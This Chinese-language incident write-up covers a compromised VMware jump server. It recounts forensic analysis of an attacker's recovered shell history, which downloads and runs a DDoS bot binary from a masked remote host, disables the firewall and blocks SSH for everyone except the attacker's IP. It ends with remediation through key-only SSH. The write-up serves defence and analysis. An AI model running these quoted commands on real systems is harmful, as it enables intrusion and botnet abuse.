摘要：事件背景回想起來應該算是去年的事情了時值年月日早上當時我正忙碌于開發手頭的一個珠寶分銷系統項目由于已經進行了多日封閉式開發項目初見效果準備放到內網服務器上跑跑看項目的一些功能需要通過公網才能訪問于是便打算通過一臺之前就架設在公網的服務器上做

回想起來應該算是去年的事情了, 時值 2019 年 1 月 24 日早上, 當時我正忙碌于開發手頭的一個珠寶分銷系統項目, 由于已經進行了多日封閉式開發, 項目初見效果, 準備放到內網服務器 A 上跑跑看. 項目的一些功能需要通過公網才能訪問, 于是便打算通過一臺之前就架設在公網的服務器 B上做 SSH 端口轉發, 將服務器 A 指定端口映射到服務器 B 上. 多次嘗試服務器賬號密碼進行 SSH 連接, 發現居然一直無法連上, 怕是被其它同事改了密碼, 但是詢問下發現其它人也無法連上.

首先, 不可能是服務器物理機宕機, 因為服務器 B 根本不是一臺真正的物理機, 而只是用 Vmware 開出來的一臺虛擬機, 由于配置了外網地址的虛擬網卡, 所以可以通過外網訪問. 這里說一下, 公司的網絡平時都是跑在內網的, 有前輩寫好的(也有可能是買其他公司的)的網絡管理服務端, 項目本身也只允許跑在內網服務器, 需要外網訪問只好用穿透技術. Vmware 的穩定性還是很好的, 上面的其他服務器仍然堅挺. 好在 Vmware 擁有虛擬機的直接控制權限, 發現依然可以使用 root 用戶登錄服務器 B, 這說明服務器密碼尚未修改, 只是 SSH 出于什么原因掛了, 導致無法通過遠程 SSH 登錄.

直接在 Vmware 管理界面用 root 用戶登錄, 通過ps auxf命令發現 sshd 進程依然跑得好好的, 最近的 updatetime 是很久之前. 另外, 可以通過ping命令得到服務器的回應. 查看路由器的流量數據, 發現這臺服務器居然在短短的 10 多天內有近 3TB 的上傳流量. 而這臺服務器作為跳板機根本沒跑什么其它高流量的服務, 顯然這臺服務器是被攻擊了.

先使用netstat -anp命令查看 TCP 連接情況, 發現這臺服務器已經和182.100.67.***, 和 23.234.14.**兩臺意義不明的服務器建立了連接, 查看 whois 發現 182.100.67.***是屬于江西新余的IP, 而23.234.14.**居然是美國洛杉磯的. 看來攻擊者為了攻擊花了不少心思, 尋思用匿名的跳板機來混淆視線. 介于此時已經無法使用 SSH 遠程登錄, 攻擊者應該是針對 sshd 做了什么動作, 攻擊者八成是已經拿到 Shell 了, 而且由于監測到異常流量, 攻擊者應該是在這臺服務器中跑了什么病毒進程, 無奈ps auxf 列出的進程較多, 很多還是系統進程, 一時不好判斷哪個是病毒進程. 查看 user 發現除了 root 沒有新的用戶被新建, 就打算用history看看會不會記錄攻擊者的攻擊痕跡, 結果是, 居然沒有.

但是要注意到 linux 的history是會話隔離的, 同一個用戶用不同的會話登錄, 不同的會話有不同的命令歷史, 只有在所有會話關閉之后才會將不同會話的歷史合并, 比如:

session A:
$ echo session_a
$ history    
1  echo session_a
2  history

# 不關閉 session A, session B 無法拿到 session A 的歷史
session B:
$ echo session_b
1  echo session_b
2  history

# 關閉 session A 和 session B 之后 打開 session C:
session c:
$ history
1 echo session_a
2 history
3 echo session_b
4 history

也就是說, 如果攻擊者仍然與這臺服務器保持著 SSH 連接, 是無法看到命令行歷史的. 于是重啟 sshd 進程強制中斷連接. 再次連接, 這時發現了不得了的事情, 下面是攻擊者的關鍵命令行歷史(一些無用的命令刪掉了):

56  shutdown -h now
57  netstat -anp|grep 443
58  vi /etc/ssh/sshd_config 
59  service sshd restart

60  netstat -anp|grep 443
61  kill 2322
64  ifconfig
65  tcpdump -i ens160 port 443 -nn -s0 

66  systemctl status firewalld 
67  systemctl stop firewalld
68  systemctl disable firewalld

71  netstat -anp|grep ssh
72  kill -9 2396
73  netstat -anp|grep ssh
89  service sshd restart

90  cd /usr/bin
91  wget http://23.234.14.**:12345/servicese
92  chmod 777 servicese
93  ./servicese

96  ifconfig
97  iptables -I INPUT -p tcp --dport 22 -j DROP
98  iptables -I INPUT -s 182.100.67.*** -p tcp --dport 22 -j ACCEPT

看這些命令, 操作很流暢.

首先 vi /etc/ssh/sshd_config 修改 sshd 配置, 估計攻擊者意圖查看 sshd 的連接方式.

然后查看運行在 443 端口的進程并殺死, 這很奇怪, 印像中這服務器當初并沒有在 443 跑什么東西, 攻擊者為了保證 443 沒有連接還用tcp dump抓取網卡的 443 端口的包.

之后攻擊者關閉了防火墻firewalld.

攻擊者再次重啟了 sshd.

關鍵的地方, 攻擊者開始注入病毒程序, 進入/usr/bin, 使用wget從http://23.234.14.**:12345把病毒程序servicese下載, 更改權限為777使程序能夠被執行, ./servicese運行病毒程序.

可恥的地方, 攻擊者之前關閉了firewalld防火墻, 這里居然使用iptables加入 IP 限制, 把所有連接到 22 端口的 TCP 連接都拒掉, 即: iptables -I INPUT -p tcp --dport 22 -j DROP, 這直接導致之前無法通過 ssh 遠程連接上, 但是攻擊者留了一個后門, 就是允許182.100.67.***這個 IP 通過 22 端口進行 ssh 連接, 也就是之前查到的江西新余的 IP.

現在攻擊者的攻擊方式很明了, 看起來攻擊者并沒有想象中的高明, 也從進程中找到了servicese進程, 說實話, servicese這個程序名還是有點意思的, 因為和系統的守護進程service長得比較像, 導致無法一眼看出這個程序有什么不對勁. 后面用 nmap 對美國的 IP 和新余的 IP 進行端口掃描了一下, 發現新余機子是一臺 windows2008, 確實應該是攻擊者用來攻擊并連接的服務器, 而美國的服務器只是一個 http 服務器, 提供病毒程序的下載源地址. 發現被攻擊的時候, http://23.234.14.**:12345依然可以訪問, 可以直接從那里下載病毒程序, 不過現在是被攻擊者主動關閉, 無法訪問.

那么攻擊者是如何拿到服務器的權限呢? 說起來也有點丟人, 猜測應該是暴力破解了. 因為這臺服務器平時只是作為跳板機, 所以連接密碼是弱密碼, 很容易通過彩虹表或者試錯 猜出來. 這里告誡各位: 代碼千萬行, 安全第一條, 密碼太弱雞, 開發兩行淚.

現在要確定病毒程序servicese到底對服務器做了什么. 使用tail命令查看servicese二進制文件的最后幾行的內容, 發現了:

gnu_cxx15__mt_alloc_baseIjE9constructEPjRKj_ZNSt13runtime_errorC1ERKSs_nl_load_locale_from_archivewctrans_ZTS8CSubTask_ZNKSt12_Vector_baseIP14CThreadHttpGetSaIS1_EE13get_allocator

gnu_cxx15,runtime_error,Vector_baseIP14CThread等詞直接表明這是一個使用 CPP 編寫的程序, 于是采用 C 語言強大的反編譯神器 IDA 對源程序進行反編譯, 看能不能找到什么線索. 這里注意, 當病毒程序被從服務器拷貝到本地 windows 的時候, 直接就被 windows defender 給清理掉了, 可見這應該是一個已經被記錄在案的病毒程序.

我并不打算詳細說 IDA 的分析過程, 只是在審查病毒程序的函數時發現了名為MainBeikong的函數, 然后網上一搜, 就發現了 360 團隊發出的這篇文章:某僵尸網絡被控端惡意樣本分析. 這篇文章描述的病毒樣本和我手上的這個病毒程序有驚人的相似度:

都是 1223123 字節, 但是 MD5 貌似不一樣, 我這邊的是cde16928b968cb087c961a258ba45442, 文章給出的是 EFF1CB4E98BCC8FBCBDCA671D4C4A050, 應該是有改動;

使用readelf獲得的源代碼文件名完全一致;

病毒的攻擊目標相似: 網絡中bot節點多是一些存在弱口令或軟件漏洞的 linux 主機, 這臺服務器屬于弱口令目標.

攻擊后端癥狀相似, 病毒在獲得服務器控制權后會執行對外 DDOS 攻擊, 也就是說此時服務器稱為了攻擊者的肉雞, 攻擊者可以使用服務器的 CPU 資源和網路資源對其它服務器進行流量攻擊, 其攻擊力度可以參考 360 團隊那篇文章描述的, 這也就是為什我這邊的路由器會有高額的異常流量.

下面是readelf的結果:

正如 360 團隊那篇文章所言:

通過此樣本可以發現黑產團隊的 DDoS 攻擊實力已經到了"比較嫻熟"的地步, 而根據樣本中不同部分的不同代碼風格猜測黑產團隊可能存在多人多團隊合作的編程方式或"黑吃黑"的代碼盜用情況

可見現在的互聯網攻擊確實不容小覷, 必須時刻注意安全問題.

在了解到了該病毒程序的主要功能之后, 自然是不能讓它繼續作惡了, 在和同事交流之后決定采用比較徹底的方式: 把相關的攻擊細節備份留作警示后直接關閉這個 Vmware 的虛擬機, 然后新開一臺虛擬機代替原來的, 新的服務器不采用 ssh 賬號密碼登錄, 而是直接采用證書的形式訪問. 也就是編輯/etc/ssh/sshd_config為:

PasswordAuthentication no

然后為服務器生成證書, 詳細過程可以參考: 設置 SSH 通過密鑰登錄,
一般而言密鑰登錄是不容易被攻破的.